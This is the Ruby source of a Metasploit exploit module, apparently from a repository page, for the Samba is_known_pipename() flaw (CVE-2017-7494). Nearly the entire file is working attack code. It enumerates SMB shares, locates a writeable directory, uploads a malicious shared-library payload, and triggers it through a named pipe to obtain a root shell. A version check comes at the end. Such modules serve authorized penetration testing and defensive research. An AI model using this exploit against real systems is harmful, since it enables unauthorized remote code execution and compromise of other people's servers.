490 lines
15 KiB
Ruby
490 lines
15 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Exploit::Remote::SMB::Client
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
|
|
'Description' => %q{
|
|
This module triggers an arbitrary shared library load vulnerability
|
|
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
|
|
requires valid credentials, a writeable folder in an accessible share,
|
|
and knowledge of the server-side path of the writeable folder. In
|
|
some cases, anonymous access combined with common filesystem locations
|
|
can be used to automatically exploit this vulnerability.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit
|
|
'hdm', # Metasploit Module
|
|
'bcoles', # Check logic
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2017-7494' ],
|
|
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 9000,
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => 'linux',
|
|
'Targets' =>
|
|
[
|
|
|
|
[ 'Automatic (Interact)',
|
|
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
|
|
'Payload' => {
|
|
'Compat' => {
|
|
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
|
|
}
|
|
}
|
|
}
|
|
],
|
|
[ 'Automatic (Command)',
|
|
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
|
|
],
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
|
|
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
|
|
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
|
|
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
|
|
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
|
|
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
|
|
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
|
|
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
|
|
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
|
|
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
|
|
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
|
|
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
|
|
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'DCERPC::fake_bind_multi' => false,
|
|
'SHELL' => '/bin/sh',
|
|
},
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2017-03-24',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
|
|
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
|
|
])
|
|
|
|
end
|
|
|
|
def post_auth?
|
|
true
|
|
end
|
|
|
|
# Setup our mapping of Metasploit architectures to gcc architectures
|
|
def setup
|
|
super
|
|
@@payload_arch_mappings = {
|
|
ARCH_X86 => [ 'x86' ],
|
|
ARCH_X64 => [ 'x86_64' ],
|
|
ARCH_MIPS => [ 'mips' ],
|
|
ARCH_MIPSLE => [ 'mipsel' ],
|
|
ARCH_MIPSBE => [ 'mips' ],
|
|
ARCH_MIPS64 => [ 'mips64' ],
|
|
ARCH_MIPS64LE => [ 'mips64el' ],
|
|
ARCH_PPC => [ 'powerpc' ],
|
|
ARCH_PPC64 => [ 'powerpc64' ],
|
|
ARCH_PPC64LE => [ 'powerpc64le' ],
|
|
ARCH_SPARC => [ 'sparc' ],
|
|
ARCH_SPARC64 => [ 'sparc64' ],
|
|
ARCH_ARMLE => [ 'armel', 'armhf' ],
|
|
ARCH_AARCH64 => [ 'aarch64' ],
|
|
ARCH_ZARCH => [ 's390x' ],
|
|
}
|
|
|
|
# Architectures we don't offically support but can shell anyways with interact
|
|
@@payload_arch_bonus = %W{
|
|
mips64el sparc64 s390x
|
|
}
|
|
|
|
# General platforms (OS + C library)
|
|
@@payload_platforms = %W{
|
|
linux-glibc
|
|
}
|
|
end
|
|
|
|
# List all top-level directories within a given share
|
|
def enumerate_directories(share)
|
|
begin
|
|
vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
|
|
connect(versions: [1])
|
|
smb_login
|
|
self.simple.connect("\\\\#{rhost}\\#{share}")
|
|
stuff = self.simple.client.find_first("\\*")
|
|
directories = [""]
|
|
stuff.each_pair do |entry,entry_attr|
|
|
next if %W{. ..}.include?(entry)
|
|
next unless entry_attr['type'] == 'D'
|
|
directories << entry
|
|
end
|
|
|
|
return directories
|
|
|
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
vprint_error("Enum #{share}: #{e}")
|
|
return nil
|
|
|
|
ensure
|
|
simple.disconnect("\\\\#{rhost}\\#{share}")
|
|
smb_connect
|
|
end
|
|
end
|
|
|
|
# Determine whether a directory in a share is writeable
|
|
def verify_writeable_directory(share, directory="")
|
|
begin
|
|
simple.connect("\\\\#{rhost}\\#{share}")
|
|
|
|
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
|
|
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
|
|
|
|
wfd = simple.open(filename, 'rwct')
|
|
wfd << Rex::Text.rand_text_alpha(8)
|
|
wfd.close
|
|
|
|
simple.delete(filename)
|
|
return true
|
|
|
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
|
|
vprint_error("Write #{share}#{filename}: #{e}")
|
|
return false
|
|
|
|
ensure
|
|
simple.disconnect("\\\\#{rhost}\\#{share}")
|
|
end
|
|
end
|
|
|
|
# Call NetShareGetInfo to retrieve the server-side path
|
|
def find_share_path
|
|
share_info = smb_netsharegetinfo(@share)
|
|
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
|
|
end
|
|
|
|
# Crawl top-level directories and test for writeable
|
|
def find_writeable_path(share)
|
|
subdirs = enumerate_directories(share)
|
|
return unless subdirs
|
|
|
|
if datastore['SMB_FOLDER'].to_s.length > 0
|
|
subdirs.unshift(datastore['SMB_FOLDER'])
|
|
end
|
|
|
|
subdirs.each do |subdir|
|
|
next unless verify_writeable_directory(share, subdir)
|
|
return subdir
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
# Locate a writeable directory across identified shares
|
|
def find_writeable_share_path
|
|
@path = nil
|
|
share_info = smb_netshareenumall
|
|
if datastore['SMB_SHARE_NAME'].to_s.length > 0
|
|
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
|
|
end
|
|
|
|
share_info.each do |share|
|
|
next if share.first.upcase == 'IPC$'
|
|
found = find_writeable_path(share.first)
|
|
next unless found
|
|
@share = share.first
|
|
@path = found
|
|
break
|
|
end
|
|
end
|
|
|
|
# Locate a writeable share
|
|
def find_writeable
|
|
find_writeable_share_path
|
|
unless @share && @path
|
|
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
|
|
fail_with(Failure::NoTarget, "No matching target")
|
|
end
|
|
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
|
|
end
|
|
|
|
# Store the wrapped payload into the writeable share
|
|
def upload_payload(wrapped_payload)
|
|
begin
|
|
self.simple.connect("\\\\#{rhost}\\#{@share}")
|
|
|
|
random_filename = Rex::Text.rand_text_alpha(8)+".so"
|
|
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
|
|
|
|
wfd = simple.open(filename, 'rwct')
|
|
wfd << wrapped_payload
|
|
wfd.close
|
|
|
|
@payload_name = random_filename
|
|
|
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
print_error("Write #{@share}#{filename}: #{e}")
|
|
return false
|
|
|
|
ensure
|
|
simple.disconnect("\\\\#{rhost}\\#{@share}")
|
|
end
|
|
|
|
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
|
|
return true
|
|
end
|
|
|
|
# Try both pipe open formats in order to load the uploaded shared library
|
|
def trigger_payload
|
|
|
|
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
|
[
|
|
"\\\\PIPE\\" + target,
|
|
target
|
|
].each do |tpath|
|
|
|
|
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
|
|
|
|
smb_connect
|
|
|
|
# Try to execute the shared library from the share
|
|
begin
|
|
simple.client.create_pipe(tpath)
|
|
probe_module_path(tpath)
|
|
|
|
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
|
|
# Common errors we can safely ignore
|
|
|
|
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
|
|
if e.error_code == 0xc0000039
|
|
pwn
|
|
return true
|
|
else
|
|
print_error(" >> Failed to load #{e.error_name}")
|
|
end
|
|
rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
|
|
if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
|
|
pwn
|
|
return true
|
|
else
|
|
print_error(" >> Failed to load #{e.status_code.name}")
|
|
end
|
|
end
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
def pwn
|
|
print_good("Probe response indicates the interactive payload was loaded...")
|
|
smb_shell = self.sock
|
|
self.sock = nil
|
|
remove_socket(sock)
|
|
handler(smb_shell)
|
|
end
|
|
|
|
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
|
|
def cycle_possible_payloads
|
|
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
|
|
template_list = []
|
|
template_type = nil
|
|
template_arch = nil
|
|
|
|
# Handle the generic command types first
|
|
if target.arch.include?(ARCH_CMD)
|
|
template_type = target['Interact'] ? 'findsock' : 'system'
|
|
|
|
all_architectures = @@payload_arch_mappings.values.flatten.uniq
|
|
|
|
# Include our bonus architectures for the interact payload
|
|
if target['Interact']
|
|
@@payload_arch_bonus.each do |t_arch|
|
|
all_architectures << t_arch
|
|
end
|
|
end
|
|
|
|
# Prioritize the most common architectures first
|
|
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
|
|
template_list << all_architectures.delete(t_arch)
|
|
end
|
|
|
|
# Queue up the rest for later
|
|
all_architectures.each do |t_arch|
|
|
template_list << t_arch
|
|
end
|
|
|
|
# Handle the specific architecture targets next
|
|
else
|
|
template_type = 'shellcode'
|
|
target.arch.each do |t_name|
|
|
@@payload_arch_mappings[t_name].each do |t_arch|
|
|
template_list << t_arch
|
|
end
|
|
end
|
|
end
|
|
|
|
# Remove any duplicates that mau have snuck in
|
|
template_list.uniq!
|
|
|
|
# Cycle through each top-level platform we know about
|
|
@@payload_platforms.each do |t_plat|
|
|
|
|
# Cycle through each template and yield
|
|
template_list.each do |t_arch|
|
|
|
|
|
|
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
|
|
next unless ::File.exist?(wrapper_path)
|
|
|
|
data = ''
|
|
::File.open(wrapper_path, "rb") do |fd|
|
|
data = Rex::Text.ungzip(fd.read)
|
|
end
|
|
|
|
pidx = data.index('PAYLOAD')
|
|
if pidx
|
|
data[pidx, payload.encoded.length] = payload.encoded
|
|
end
|
|
|
|
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
|
|
yield(data)
|
|
end
|
|
end
|
|
end
|
|
|
|
# Verify that the payload settings make sense
|
|
def sanity_check
|
|
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
|
|
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
|
|
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
|
|
print_error("")
|
|
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
|
|
end
|
|
|
|
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
|
|
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
|
|
print_error(" Please set a valid PAYLOAD and try this again")
|
|
print_error("")
|
|
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
|
|
end
|
|
end
|
|
|
|
# Shorthand for connect and login
|
|
def smb_connect
|
|
connect
|
|
smb_login
|
|
end
|
|
|
|
# Start the shell train
|
|
def exploit
|
|
# Validate settings
|
|
sanity_check
|
|
|
|
# Setup SMB
|
|
smb_connect
|
|
|
|
# Find a writeable share
|
|
find_writeable
|
|
|
|
# Retrieve the server-side path of the share like a boss
|
|
print_status("Retrieving the remote path of the share '#{@share}'")
|
|
@share_path = find_share_path
|
|
print_status("Share '#{@share}' has server-side path '#{@share_path}")
|
|
|
|
# Disconnect
|
|
disconnect
|
|
|
|
# Create wrappers for each potential architecture
|
|
cycle_possible_payloads do |wrapped_payload|
|
|
|
|
# Connect, upload the shared library payload, disconnect
|
|
smb_connect
|
|
upload_payload(wrapped_payload)
|
|
disconnect
|
|
|
|
# Trigger the payload
|
|
early = trigger_payload
|
|
|
|
# Cleanup the payload
|
|
begin
|
|
smb_connect
|
|
simple.connect("\\\\#{rhost}\\#{@share}")
|
|
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
|
|
simple.delete(uploaded_path)
|
|
disconnect
|
|
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
|
|
end
|
|
|
|
# Bail early if our interact payload loaded
|
|
return if early
|
|
end
|
|
end
|
|
|
|
# A version-based vulnerability check for Samba
|
|
def check
|
|
res = smb_fingerprint
|
|
|
|
unless res['native_lm'] =~ /Samba ([\d\.]+)/
|
|
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
samba_version = Rex::Version.new($1.gsub(/\.$/, ''))
|
|
|
|
vprint_status("Samba version identified as #{samba_version.to_s}")
|
|
|
|
if samba_version < Rex::Version.new('3.5.0')
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
# Patched in 4.4.14
|
|
if samba_version < Rex::Version.new('4.5.0') &&
|
|
samba_version >= Rex::Version.new('4.4.14')
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
# Patched in 4.5.10
|
|
if samba_version > Rex::Version.new('4.5.0') &&
|
|
samba_version < Rex::Version.new('4.6.0') &&
|
|
samba_version >= Rex::Version.new('4.5.10')
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
# Patched in 4.6.4
|
|
if samba_version >= Rex::Version.new('4.6.4')
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
smb_connect
|
|
find_writeable_share_path
|
|
disconnect
|
|
|
|
if @share.to_s.length == 0
|
|
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
|
|
return CheckCode::Detected
|
|
end
|
|
|
|
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
|
|
return CheckCode::Appears
|
|
end
|
|
end
|